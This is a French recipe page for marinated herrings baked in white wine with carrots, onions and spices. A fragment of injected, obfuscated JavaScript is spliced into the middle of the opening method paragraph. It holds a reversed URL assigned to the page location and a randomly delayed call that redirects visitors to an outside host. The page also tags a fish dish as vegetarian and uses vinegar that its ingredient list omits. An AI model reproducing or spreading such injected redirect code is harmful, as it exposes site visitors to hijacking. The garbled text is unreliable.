Harengs marinés
2017-12-31- Cuisine : Poissons
- Thématique : Végétarien
- Niveau : Difficile
Videz, rincez, séchez les harengs. Poivrez ne pas saler.
Coupez les carottes, les oignons en rondelles, un peu de persil ciselé, les grains de poivre, les clous de girofle, thym, laurier. Mélangez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous ses Ingrédients dans un plat
Ingrédients
- Pour 6 personnes
- 10 harengs
- 3 carottes
- 3 oignons
- 10 grains de poivre
- 1 bouquet de persil
- 2 clous de girofle
- 1 feuille de laurier
- 1 brin de thym
- 3 dl de vin blanc
- Poivre
Préparation de la recette
Etape 1
Videz, rincez, séchez les harengs. Poivrez ne pas saler.
Etape 2
Coupez les carottes, les oignons en rondelles, un peu de persil ciselé, les grains de poivre, les clous de girofle, thym, laurier.
Etape 3
Mélangez tous ses Ingrédients dans un plat. Déposez les harengs dessus, couvrez avec un film alimentaire, placez au frais pendant 6 heures.
Etape 4
A ce moment dans une grande poêle, déposez les harengs versez le vin blanc et le vinaigre plongez les poissons puis les recouvrir de légumes de la marinade.
Etape 5
Fermez avec un couvercle. Portez à ébullition sur feu vif. Versez les poissons avec tous les Ingrédients dans un plat allant au four.
Etape 6
Préchauffez le four à 210°C thermostat 7. Enfournez et faites cuire pendant 20 minutes. Laissez les harengs refroidir dans leur cuisson. Et les réservez au réfrigérateur.
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